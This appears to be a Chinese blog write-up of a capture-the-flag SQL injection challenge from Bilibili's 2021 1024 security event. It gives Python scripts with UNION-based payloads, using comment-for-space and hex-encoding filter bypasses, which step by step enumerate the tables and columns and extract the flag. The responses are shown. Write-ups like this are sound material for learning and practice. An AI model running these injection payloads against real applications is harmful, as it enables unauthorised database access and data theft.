2021-10-26 2021年B站1024安全攻防题第四题(SQL 注入)

古城微笑少年丶 2022-09-17 04:19 45阅读 0赞

## SQL 注入 ##

根据页面查询字段和网络通信情况分析  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBA5oSa5YWs5pCs5Luj56CB_size_20_color_FFFFFF_t_70_g_se_x_16]多出了个user\_name，以user\_name为注入点构造post请求

import requests
    
    url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
    json_data = {
        
        "user_id": "",
        "user_name": "1/**/union/**/select/**/database(),user(),3,4,5",
        "action": "",
        "page": 1,
        "size": 20
    }
    
    response = requests.post(url=url, json=json_data)
    print(response.text)

返回内容：

"res_list": [
         {
        
              "action": "4",
              "id": "q",
              "time": "5",
              "user_id": "test@10.34.12.128",
              "user_name": "3"
         }
    ],

获取表名：

import requests
    
    url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
    json_data = {
        
        "user_id": "",
        "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#",
        "action": "",
        "page": 1,
        "size": 20
    }
    
    response = requests.post(url=url, json=json_data)
    print(response.text)

返回内容：

"res_list": [
         {
        
              "action": "4",
              "id": "q",
              "time": "flag,log,user",
              "user_id": "test@10.34.12.128",
              "user_name": "3"
         }
    ],

表名又flag,log,user三个

获取 flag 表的字段，由于不能引号所以用十六进制绕过，flag 十六进制即 666c6167：

import requests
    
    url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
    json_data = {
        
        "user_id": "",
        "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#",
        "action": "",
        "page": 1,
        "size": 20
    }
    
    response = requests.post(url=url, json=json_data)
    print(response.text)

返回内容可以得到一个字段，id：

"res_list": [
         {
        
              "action": "4",
              "id": "q",
              "time": "id",
              "user_id": "test@10.34.12.128",
              "user_name": "3"
         }
    ],

最后直接拿下 flag：

import requests
    
    url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
    json_data = {
        
        "user_id": "",
        "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#",
        "action": "",
        "page": 1,
        "size": 20
    }
    
    response = requests.post(url=url, json=json_data)
    print(response.text)

返回内容 `3d5dd579-0678ef93-18b70cae-cabc5d51` 为 flag：

"res_list": [
         {
        
              "action": "4",
              "id": "q",
              "time": "3d5dd579-0678ef93-18b70cae-cabc5d51",
              "user_id": "test@10.34.12.128",
              "user_name": "3"
         }
    ],

[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBA5oSa5YWs5pCs5Luj56CB_size_20_color_FFFFFF_t_70_g_se_x_16]: /images/20220828/0b18a27d028748bf8d876bd8c6b42a7d.png